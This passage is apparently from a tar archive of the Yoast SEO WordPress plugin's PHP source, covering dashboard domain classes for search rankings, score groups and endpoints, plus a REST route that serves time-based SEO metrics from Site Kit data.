 */
class Comparison_Search_Ranking_Data implements Data_Interface {

	/**
	 * The current search ranking data.
	 *
	 * @var Search_Ranking_Data[]
	 */
	private $current_search_ranking_data = [];

	/**
	 * The previous search ranking data.
	 *
	 * @var Search_Ranking_Data[]
	 */
	private $previous_search_ranking_data = [];

	/**
	 * Sets the current search ranking data.
	 *
	 * @param Search_Ranking_Data $current_search_ranking_data The current search ranking data.
	 *
	 * @return void
	 */
	public function add_current_traffic_data( Search_Ranking_Data $current_search_ranking_data ): void {
		\array_push( $this->current_search_ranking_data, $current_search_ranking_data );
	}

	/**
	 * Sets the previous search ranking data.
	 *
	 * @param Search_Ranking_Data $previous_search_ranking_data The previous search ranking data.
	 *
	 * @return void
	 */
	public function add_previous_traffic_data( Search_Ranking_Data $previous_search_ranking_data ): void {
		\array_push( $this->previous_search_ranking_data, $previous_search_ranking_data );
	}

	/**
	 * The array representation of this domain object.
	 *
	 * @return array<array<string, int>>
	 */
	public function to_array(): array {
		return [
			'current'  => $this->parse_data( $this->current_search_ranking_data ),
			'previous' => $this->parse_data( $this->previous_search_ranking_data ),
		];
	}

	/**
	 * Parses search ranking data into the expected format.
	 *
	 * @param Search_Ranking_Data[] $search_ranking_data The search ranking data to be parsed.
	 *
	 * @return array<string, int> The parsed data
	 */
	private function parse_data( array $search_ranking_data ): array {
		$parsed_data      = [
			'total_clicks'      => 0,
			'total_impressions' => 0,
		];
		$weighted_postion = 0;

		foreach ( $search_ranking_data as $search_ranking ) {
			$parsed_data['total_clicks']      += $search_ranking->get_clicks();
			$parsed_data['total_impressions'] += $search_ranking->get_impressions();
			$weighted_postion                 += ( $search_ranking->get_position() * $search_ranking->get_impressions() );
		}

		if ( $parsed_data['total_impressions'] !== 0 ) {
			$parsed_data['average_ctr']      = ( $parsed_data['total_clicks'] / $parsed_data['total_impressions'] );
			$parsed_data['average_position'] = ( $weighted_postion / $parsed_data['total_impressions'] );
		}

		return $parsed_data;
	}
}
dashboard/domain/search-rankings/search-ranking-data.php000066600000004675152204306270017356 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Search_Rankings;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Interface;

/**
 * Domain object that represents a single Search Ranking Data record.
 */
class Search_Ranking_Data implements Data_Interface {

	/**
	 * The amount of clicks a `subject` gets.
	 *
	 * @var int
	 */
	private $clicks;

	/**
	 * The click-through rate a `subject` gets.
	 *
	 * @var float
	 */
	private $ctr;

	/**
	 * The amount of impressions a `subject` gets.
	 *
	 * @var int
	 */
	private $impressions;

	/**
	 * The average position for the given `subject`.
	 *
	 * @var float
	 */
	private $position;

	/**
	 * In the context of this domain object subject can represent a `URI` or a `search term`
	 *
	 * @var string
	 */
	private $subject;

	/**
	 * The constructor.
	 *
	 * @param int    $clicks      The clicks.
	 * @param float  $ctr         The ctr.
	 * @param int    $impressions The impressions.
	 * @param float  $position    The position.
	 * @param string $subject     The subject of the data.
	 */
	public function __construct( int $clicks, float $ctr, int $impressions, float $position, string $subject ) {
		$this->clicks      = $clicks;
		$this->ctr         = $ctr;
		$this->impressions = $impressions;
		$this->position    = $position;
		$this->subject     = $subject;
	}

	/**
	 * The array representation of this domain object.
	 *
	 * @return array<string|float|int|string[]>
	 */
	public function to_array(): array {
		return [
			'clicks'      => $this->clicks,
			'ctr'         => $this->ctr,
			'impressions' => $this->impressions,
			'position'    => $this->position,
			'subject'     => $this->subject,
		];
	}

	/**
	 * Gets the clicks.
	 *
	 * @return string The clicks.
	 */
	public function get_clicks(): string {
		return $this->clicks;
	}

	/**
	 * Gets the click-through rate.
	 *
	 * @return string The click-through rate.
	 */
	public function get_ctr(): string {
		return $this->ctr;
	}

	/**
	 * Gets the impressions.
	 *
	 * @return string The impressions.
	 */
	public function get_impressions(): string {
		return $this->impressions;
	}

	/**
	 * Gets the position.
	 *
	 * @return string The position.
	 */
	public function get_position(): string {
		return $this->position;
	}

	/**
	 * Gets the subject.
	 *
	 * @return string The subject.
	 */
	public function get_subject(): string {
		return $this->subject;
	}
}
dashboard/domain/search-rankings/top-page-data.php000066600000003501152204306270016161 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Search_Rankings;

use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Data_Interface;
use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups\SEO_Score_Groups_Interface;

/**
 * Domain object that represents a single Top Page Data record.
 */
class Top_Page_Data implements Data_Interface {

	/**
	 * The search ranking data for the top page.
	 *
	 * @var Search_Ranking_Data
	 */
	private $search_ranking_data;

	/**
	 * The SEO score group the top page belongs to.
	 *
	 * @var SEO_Score_Groups_Interface
	 */
	private $seo_score_group;

	/**
	 * The edit link of the top page.
	 *
	 * @var string
	 */
	private $edit_link;

	/**
	 * The constructor.
	 *
	 * @param Search_Ranking_Data        $search_ranking_data The search ranking data for the top page.
	 * @param SEO_Score_Groups_Interface $seo_score_group     The SEO score group the top page belongs to.
	 * @param string                     $edit_link           The edit link of the top page.
	 */
	public function __construct(
		Search_Ranking_Data $search_ranking_data,
		SEO_Score_Groups_Interface $seo_score_group,
		?string $edit_link = null
	) {
		$this->search_ranking_data = $search_ranking_data;
		$this->seo_score_group     = $seo_score_group;
		$this->edit_link           = $edit_link;
	}

	/**
	 * The array representation of this domain object.
	 *
	 * @return array<string|float|int|string[]>
	 */
	public function to_array(): array {
		$top_page_data             = $this->search_ranking_data->to_array();
		$top_page_data['seoScore'] = $this->seo_score_group->get_name();
		$top_page_data['links']    = [];

		if ( $this->edit_link !== null ) {
			$top_page_data['links']['edit'] = $this->edit_link;
		}

		return $top_page_data;
	}
}
dashboard/domain/taxonomies/taxonomy.php000066600000002522152204306270014525 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Taxonomies;

/**
 * This class describes a Taxonomy.
 */
class Taxonomy {

	/**
	 * The name of the taxonomy.
	 *
	 * @var string
	 */
	private $name;

	/**
	 * The label of the taxonomy.
	 *
	 * @var string
	 */
	private $label;

	/**
	 * The REST URL of the taxonomy.
	 *
	 * @var string
	 */
	private $rest_url;

	/**
	 * The constructor.
	 *
	 * @param string $name     The name of the taxonomy.
	 * @param string $label    The label of the taxonomy.
	 * @param string $rest_url The REST URL of the taxonomy.
	 */
	public function __construct(
		string $name,
		string $label,
		string $rest_url
	) {
		$this->name     = $name;
		$this->label    = $label;
		$this->rest_url = $rest_url;
	}

	/**
	 * Returns the name of the taxonomy.
	 *
	 * @return string The name of the taxonomy.
	 */
	public function get_name(): string {
		return $this->name;
	}

	/**
	 * Parses the taxonomy to the expected key value representation.
	 *
	 * @return array<string, array<string, string>> The taxonomy presented as the expected key value representation.
	 */
	public function to_array(): array {
		return [
			'name'  => $this->name,
			'label' => $this->label,
			'links' => [
				'search' => $this->rest_url,
			],
		];
	}
}
dashboard/domain/endpoint/endpoint-interface.php000066600000001056152204306270016060 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Endpoint;

interface Endpoint_Interface {

	/**
	 * Gets the name.
	 *
	 * @return string
	 */
	public function get_name(): string;

	/**
	 * Gets the namespace.
	 *
	 * @return string
	 */
	public function get_namespace(): string;

	/**
	 * Gets the route.
	 *
	 * @return string
	 */
	public function get_route(): string;

	/**
	 * Gets the URL.
	 *
	 * @return string
	 */
	public function get_url(): string;
}
dashboard/domain/endpoint/endpoint-list.php000066600000001501152204306270015066 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Endpoint;

/**
 * List of endpoints.
 */
class Endpoint_List {

	/**
	 * Holds the endpoints.
	 *
	 * @var array<Endpoint_Interface>
	 */
	private $endpoints = [];

	/**
	 * Adds an endpoint to the list.
	 *
	 * @param Endpoint_Interface $endpoint An endpoint.
	 *
	 * @return void
	 */
	public function add_endpoint( Endpoint_Interface $endpoint ): void {
		$this->endpoints[] = $endpoint;
	}

	/**
	 * Converts the list to an array.
	 *
	 * @return array<string, string> The array of endpoints.
	 */
	public function to_array(): array {
		$result = [];
		foreach ( $this->endpoints as $endpoint ) {
			$result[ $endpoint->get_name() ] = $endpoint->get_url();
		}

		return $result;
	}
}
dashboard/domain/score-results/current-scores-list.php000066600000002535152204306270017226 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Results;

/**
 * This class describes a list of current scores.
 */
class Current_Scores_List {

	/**
	 * The current scores.
	 *
	 * @var Current_Score[]
	 */
	private $current_scores = [];

	/**
	 * Adds a current score to the list.
	 *
	 * @param Current_Score $current_score The current score to add.
	 * @param int           $position      The position to add the current score.
	 *
	 * @return void
	 */
	public function add( Current_Score $current_score, int $position ): void {
		$this->current_scores[ $position ] = $current_score;
	}

	/**
	 * Parses the current score list to the expected key value representation.
	 *
	 * @return array<array<string, string|int|array<string, string>>> The score list presented as the expected key value representation.
	 */
	public function to_array(): array {
		$array = [];

		\ksort( $this->current_scores );

		foreach ( $this->current_scores as $key => $current_score ) {
			$array[] = [
				'name'   => $current_score->get_name(),
				'amount' => $current_score->get_amount(),
				'links'  => $current_score->get_links_to_array(),
			];

			if ( $current_score->get_ids() !== null ) {
				$array[ $key ]['ids'] = $current_score->get_ids();
			}
		}

		return $array;
	}
}
dashboard/domain/filter-pairs/filter-pairs-interface.php000066600000000770152204306270017424 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\Domain\Filter_Pairs;

/**
 * This interface describes a Filter Pair implementation.
 */
interface Filter_Pairs_Interface {

	/**
	 * Gets the filtering taxonomy.
	 *
	 * @return string
	 */
	public function get_filtering_taxonomy(): string;

	/**
	 * Gets the filtered content type.
	 *
	 * @return string
	 */
	public function get_filtered_content_type(): string;
}
dashboard/domain/score-groups/seo-score-groups/seo-score-groups-interface.php000066600000000533152204306270023477 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Score_Groups_Interface;

/**
 * This interface describes an SEO score group implementation.
 */
interface SEO_Score_Groups_Interface extends Score_Groups_Interface {}
dashboard/domain/score-groups/seo-score-groups/abstract-seo-score-group.php000066600000001350152204306270023155 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Abstract_Score_Group;

/**
 * Abstract class for an SEO score group.
 */
abstract class Abstract_SEO_Score_Group extends Abstract_Score_Group implements SEO_Score_Groups_Interface {

	/**
	 * Gets the key of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_key(): string {
		return 'seo_filter';
	}
}
dashboard/domain/score-groups/seo-score-groups/bad-seo-score-group.php000066600000002465152204306270022110 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a bad SEO score group.
 */
class Bad_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'bad';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'bad';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 2;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int|null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 1;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int|null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 40;
	}
}
dashboard/domain/score-groups/seo-score-groups/good-seo-score-group.php000066600000002473152204306270022311 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\SEO_Score_Groups;

/**
 * This class describes a good SEO score group.
 */
class Good_SEO_Score_Group extends Abstract_SEO_Score_Group {

	/**
	 * Gets the name of the SEO score group.
	 *
	 * @return string The name of the SEO score group.
	 */
	public function get_name(): string {
		return 'good';
	}

	/**
	 * Gets the value of the SEO score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the SEO score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'good';
	}

	/**
	 * Gets the position of the SEO score group.
	 *
	 * @return int The position of the SEO score group.
	 */
	public function get_position(): int {
		return 0;
	}

	/**
	 * Gets the minimum score of the SEO score group.
	 *
	 * @return int|null The minimum score of the SEO score group.
	 */
	public function get_min_score(): ?int {
		return 71;
	}

	/**
	 * Gets the maximum score of the SEO score group.
	 *
	 * @return int|null The maximum score of the SEO score group.
	 */
	public function get_max_score(): ?int {
		return 100;
	}
}
dashboard/domain/score-groups/readability-score-groups/bad-readability-score-group.php000066600000002645152204306270025316 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a bad readability score group.
 */
class Bad_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'bad';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'bad';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 2;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int|null The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 1;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int|null The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 40;
	}
}
dashboard/domain/score-groups/readability-score-groups/no-readability-score-group.php000066600000002664152204306270025205 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a missing readability score group.
 */
class No_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'notAnalyzed';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'na';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 3;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int|null The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return null;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int|null The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return null;
	}
}
dashboard/domain/score-groups/readability-score-groups/ok-readability-score-group.php000066600000002647152204306270025203 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes an OK readability score group.
 */
class Ok_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The the name of the readability score group.
	 */
	public function get_name(): string {
		return 'ok';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'ok';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 1;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int|null The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 41;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int|null The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 70;
	}
}
dashboard/domain/score-groups/readability-score-groups/abstract-readability-score-group.php000066600000001437152204306270026371 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

use Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Abstract_Score_Group;

/**
 * Abstract class for a readability score group.
 */
abstract class Abstract_Readability_Score_Group extends Abstract_Score_Group implements Readability_Score_Groups_Interface {

	/**
	 * Gets the key of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_key(): string {
		return 'readability_filter';
	}
}
dashboard/domain/score-groups/readability-score-groups/good-readability-score-group.php000066600000002653152204306270025517 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
// phpcs:disable Yoast.NamingConventions.NamespaceName.MaxExceeded
namespace Yoast\WP\SEO\Dashboard\Domain\Score_Groups\Readability_Score_Groups;

/**
 * This class describes a good readability score group.
 */
class Good_Readability_Score_Group extends Abstract_Readability_Score_Group {

	/**
	 * Gets the name of the readability score group.
	 *
	 * @return string The name of the readability score group.
	 */
	public function get_name(): string {
		return 'good';
	}

	/**
	 * Gets the value of the readability score group that is used when filtering on the posts page.
	 *
	 * @return string The name of the readability score group that is used when filtering on the posts page.
	 */
	public function get_filter_value(): string {
		return 'good';
	}

	/**
	 * Gets the position of the readability score group.
	 *
	 * @return int The position of the readability score group.
	 */
	public function get_position(): int {
		return 0;
	}

	/**
	 * Gets the minimum score of the readability score group.
	 *
	 * @return int|null The minimum score of the readability score group.
	 */
	public function get_min_score(): ?int {
		return 71;
	}

	/**
	 * Gets the maximum score of the readability score group.
	 *
	 * @return int|null The maximum score of the readability score group.
	 */
	public function get_max_score(): ?int {
		return 100;
	}
}
dashboard/user-interface/time-based-seo-metrics/time-based-seo-metrics-route.php000066600000024526152204306270023776 0ustar00<?php
// phpcs:disable Yoast.NamingConventions.NamespaceName.TooLong -- Needed in the folder structure.
namespace Yoast\WP\SEO\Dashboard\User_Interface\Time_Based_SEO_Metrics;

use DateTime;
use DateTimeZone;
use Exception;
use WP_REST_Request;
use WP_REST_Response;
use Yoast\WP\SEO\Conditionals\Google_Site_Kit_Feature_Conditional;
use Yoast\WP\SEO\Conditionals\Third_Party\Site_Kit_Conditional;
use Yoast\WP\SEO\Dashboard\Application\Search_Rankings\Search_Ranking_Compare_Repository;
use Yoast\WP\SEO\Dashboard\Application\Search_Rankings\Top_Page_Repository;
use Yoast\WP\SEO\Dashboard\Application\Search_Rankings\Top_Query_Repository;
use Yoast\WP\SEO\Dashboard\Application\Traffic\Organic_Sessions_Compare_Repository;
use Yoast\WP\SEO\Dashboard\Application\Traffic\Organic_Sessions_Daily_Repository;
use Yoast\WP\SEO\Dashboard\Domain\Data_Provider\Parameters;
use Yoast\WP\SEO\Dashboard\Domain\Time_Based_SEO_Metrics\Repository_Not_Found_Exception;
use Yoast\WP\SEO\Dashboard\Infrastructure\Analytics_4\Analytics_4_Parameters;
use Yoast\WP\SEO\Dashboard\Infrastructure\Search_Console\Search_Console_Parameters;
use Yoast\WP\SEO\Helpers\Capability_Helper;
use Yoast\WP\SEO\Main;
use Yoast\WP\SEO\Routes\Route_Interface;

/**
 * Abstract scores route.
 */
final class Time_Based_SEO_Metrics_Route implements Route_Interface {

	/**
	 * The namespace of the route.
	 *
	 * @var string
	 */
	public const ROUTE_NAMESPACE = Main::API_V1_NAMESPACE;

	/**
	 * The prefix of the route.
	 *
	 * @var string
	 */
	public const ROUTE_NAME = '/time_based_seo_metrics';

	/**
	 * The data provider for page based search rankings.
	 *
	 * @var Top_Page_Repository
	 */
	private $top_page_repository;

	/**
	 * The data provider for query based search rankings.
	 *
	 * @var Top_Query_Repository
	 */
	private $top_query_repository;

	/**
	 * The data provider for comparison organic session traffic.
	 *
	 * @var Organic_Sessions_Compare_Repository
	 */
	private $organic_sessions_compare_repository;

	/**
	 * The data provider for daily organic session traffic.
	 *
	 * @var Organic_Sessions_Daily_Repository
	 */
	private $organic_sessions_daily_repository;

	/**
	 * The data provider for searching ranking comparison.
	 *
	 * @var Search_Ranking_Compare_Repository
	 */
	private $search_ranking_compare_repository;

	/**
	 * Holds the capability helper instance.
	 *
	 * @var Capability_Helper
	 */
	private $capability_helper;

	/**
	 * Returns the needed conditionals.
	 *
	 * @return array<string> The conditionals that must be met to load this.
	 */
	public static function get_conditionals(): array {
		return [ Google_Site_Kit_Feature_Conditional::class, Site_Kit_Conditional::class ];
	}

	/**
	 * The constructor.
	 *
	 * @param Top_Page_Repository                 $top_page_repository                 The data provider for page based search rankings.
	 * @param Top_Query_Repository                $top_query_repository                The data provider for query based search rankings.
	 * @param Organic_Sessions_Compare_Repository $organic_sessions_compare_repository The data provider for comparison organic session traffic.
	 * @param Organic_Sessions_Daily_Repository   $organic_sessions_daily_repository   The data provider for daily organic session traffic.
	 * @param Search_Ranking_Compare_Repository   $search_ranking_compare_repository   The data provider for searching ranking comparison.
	 * @param Capability_Helper                   $capability_helper                   The capability helper.
	 */
	public function __construct(
		Top_Page_Repository $top_page_repository,
		Top_Query_Repository $top_query_repository,
		Organic_Sessions_Compare_Repository $organic_sessions_compare_repository,
		Organic_Sessions_Daily_Repository $organic_sessions_daily_repository,
		Search_Ranking_Compare_Repository $search_ranking_compare_repository,
		Capability_Helper $capability_helper
	) {
		$this->top_page_repository                 = $top_page_repository;
		$this->top_query_repository                = $top_query_repository;
		$this->organic_sessions_compare_repository = $organic_sessions_compare_repository;
		$this->organic_sessions_daily_repository   = $organic_sessions_daily_repository;
		$this->search_ranking_compare_repository   = $search_ranking_compare_repository;
		$this->capability_helper                   = $capability_helper;
	}

	/**
	 * Registers routes for scores.
	 *
	 * @return void
	 */
	public function register_routes() {
		\register_rest_route(
			self::ROUTE_NAMESPACE,
			self::ROUTE_NAME,
			[
				[
					'methods'             => 'GET',
					'callback'            => [ $this, 'get_time_based_seo_metrics' ],
					'permission_callback' => [ $this, 'permission_manage_options' ],
					'args'                => [
						'limit'   => [
							'type'              => 'int',
							'sanitize_callback' => 'absint',
							'default'           => 5,
						],
						'options' => [
							'type'       => 'object',
							'required'   => true,
							'properties' => [
								'widget' => [
									'type'              => 'string',
									'required'          => true,
									'sanitize_callback' => 'sanitize_text_field',
								],
							],
						],
					],
				],
			]
		);
	}

	/**
	 * Gets the time based SEO metrics.
	 *
	 * @param WP_REST_Request $request The request object.
	 *
	 * @return WP_REST_Response The success or failure response.
	 *
	 * @throws Repository_Not_Found_Exception When the given widget name is not implemented yet.
	 */
	public function get_time_based_seo_metrics( WP_REST_Request $request ): WP_REST_Response {
		try {
			$widget_name = $request->get_param( 'options' )['widget'];

			switch ( $widget_name ) {
				case 'query':
					$request_parameters = new Search_Console_Parameters();

					$request_parameters = $this->set_date_range_parameters( $request_parameters );
					$request_parameters->set_limit( $request->get_param( 'limit' ) );
					$request_parameters->set_dimensions( [ 'query' ] );

					$time_based_seo_metrics_container = $this->top_query_repository->get_data( $request_parameters );
					break;
				case 'page':
					$request_parameters = new Search_Console_Parameters();

					$request_parameters = $this->set_date_range_parameters( $request_parameters );
					$request_parameters->set_limit( $request->get_param( 'limit' ) );
					$request_parameters->set_dimensions( [ 'page' ] );

					$time_based_seo_metrics_container = $this->top_page_repository->get_data( $request_parameters );
					break;
				case 'organicSessionsDaily':
					$request_parameters = new Analytics_4_Parameters();

					$request_parameters = $this->set_date_range_parameters( $request_parameters );
					$request_parameters->set_dimensions( [ 'date' ] );
					$request_parameters->set_metrics( [ 'sessions' ] );
					$request_parameters->set_dimension_filters( [ 'sessionDefaultChannelGrouping' => [ 'Organic Search' ] ] );
					$request_parameters->set_order_by( 'dimension', 'date' );

					$time_based_seo_metrics_container = $this->organic_sessions_daily_repository->get_data( $request_parameters );
					break;
				case 'organicSessionsCompare':
					$request_parameters = new Analytics_4_Parameters();

					$request_parameters = $this->set_date_range_parameters( $request_parameters );
					$request_parameters = $this->set_comparison_date_range_parameters( $request_parameters );
					$request_parameters->set_metrics( [ 'sessions' ] );
					$request_parameters->set_dimension_filters( [ 'sessionDefaultChannelGrouping' => [ 'Organic Search' ] ] );

					$time_based_seo_metrics_container = $this->organic_sessions_compare_repository->get_data( $request_parameters );
					break;
				case 'searchRankingCompare':
					$request_parameters = new Search_Console_Parameters();

					$request_parameters = $this->set_date_range_parameters( $request_parameters );
					$request_parameters = $this->set_comparison_date_range_parameters( $request_parameters );
					$request_parameters->set_dimensions( [ 'date' ] );

					$time_based_seo_metrics_container = $this->search_ranking_compare_repository->get_data( $request_parameters );
					break;
				default:
					throw new Repository_Not_Found_Exception();
			}
		} catch ( Exception $exception ) {
			return new WP_REST_Response(
				[
					'error' => $exception->getMessage(),
				],
				$exception->getCode()
			);
		}

		return new WP_REST_Response(
			$time_based_seo_metrics_container->to_array(),
			200
		);
	}

	/**
	 * Sets date range parameters.
	 *
	 * @param Parameters $request_parameters The request parameters.
	 *
	 * @return Parameters The request parameters with configured date range.
	 */
	public function set_date_range_parameters( Parameters $request_parameters ): Parameters {
		$date = $this->get_base_date();
		$date->modify( '-28 days' );
		$start_date = $date->format( 'Y-m-d' );

		$date = $this->get_base_date();
		$date->modify( '-1 days' );
		$end_date = $date->format( 'Y-m-d' );

		$request_parameters->set_start_date( $start_date );
		$request_parameters->set_end_date( $end_date );

		return $request_parameters;
	}

	/**
	 * Sets comparison date range parameters.
	 *
	 * @param Parameters $request_parameters The request parameters.
	 *
	 * @return Parameters The request parameters with configured comparison date range.
	 */
	public function set_comparison_date_range_parameters( Parameters $request_parameters ): Parameters {
		$date = $this->get_base_date();
		$date->modify( '-29 days' );
		$compare_end_date = $date->format( 'Y-m-d' );

		$date->modify( '-27 days' );
		$compare_start_date = $date->format( 'Y-m-d' );

		$request_parameters->set_compare_start_date( $compare_start_date );
		$request_parameters->set_compare_end_date( $compare_end_date );

		return $request_parameters;
	}

	/**
	 * Gets the base date.
	 *
	 * @return DateTime The base date.
	 */
	private function get_base_date() {
		/**
		 * Filter: 'wpseo_custom_site_kit_base_date' - Allow the base date for Site Kit requests to be dynamically set.
		 *
		 * @param string $base_date The custom base date for Site Kit requests, defaults to 'now'.
		 */
		$base_date = \apply_filters( 'wpseo_custom_site_kit_base_date', 'now' );

		try {
			return new DateTime( $base_date, new DateTimeZone( 'UTC' ) );
		} catch ( Exception $e ) {
			return new DateTime( 'now', new DateTimeZone( 'UTC' ) );
		}
	}

	/**
	 * Permission callback.
	 *
	 * @return bool True when user has the 'wpseo_manage_options' capability.
	 */
	public function permission_manage_options() {
		return $this->capability_helper->current_user_can( 'wpseo_manage_options' );
	}
}
introductions/user-interface/introductions-integration.php000066600000015472152204306270020340 0ustar00<?php

namespace Yoast\WP\SEO\Introductions\User_Interface;

use WPSEO_Admin_Asset_Manager;
use Yoast\WP\SEO\Conditionals\Admin_Conditional;
use Yoast\WP\SEO\Conditionals\WooCommerce_Conditional;
use Yoast\WP\SEO\Helpers\Product_Helper;
use Yoast\WP\SEO\Helpers\Short_Link_Helper;
use Yoast\WP\SEO\Helpers\User_Helper;
use Yoast\WP\SEO\Integrations\Integration_Interface;
use Yoast\WP\SEO\Introductions\Application\Current_Page_Trait;
use Yoast\WP\SEO\Introductions\Application\Introductions_Collector;
use Yoast\WP\SEO\Introductions\Infrastructure\Introductions_Seen_Repository;
use Yoast\WP\SEO\Introductions\Infrastructure\Wistia_Embed_Permission_Repository;

/**
 * Loads introduction modal scripts, when there are applicable introductions.
 */
class Introductions_Integration implements Integration_Interface {

	use Current_Page_Trait;

	public const SCRIPT_HANDLE = 'introductions';

	/**
	 * Holds the admin asset manager.
	 *
	 * @var WPSEO_Admin_Asset_Manager
	 */
	private $admin_asset_manager;

	/**
	 * Holds the introduction collector.
	 *
	 * @var Introductions_Collector
	 */
	private $introductions_collector;

	/**
	 * Holds the product helper.
	 *
	 * @var Product_Helper
	 */
	private $product_helper;

	/**
	 * Holds the user helper.
	 *
	 * @var User_Helper
	 */
	private $user_helper;

	/**
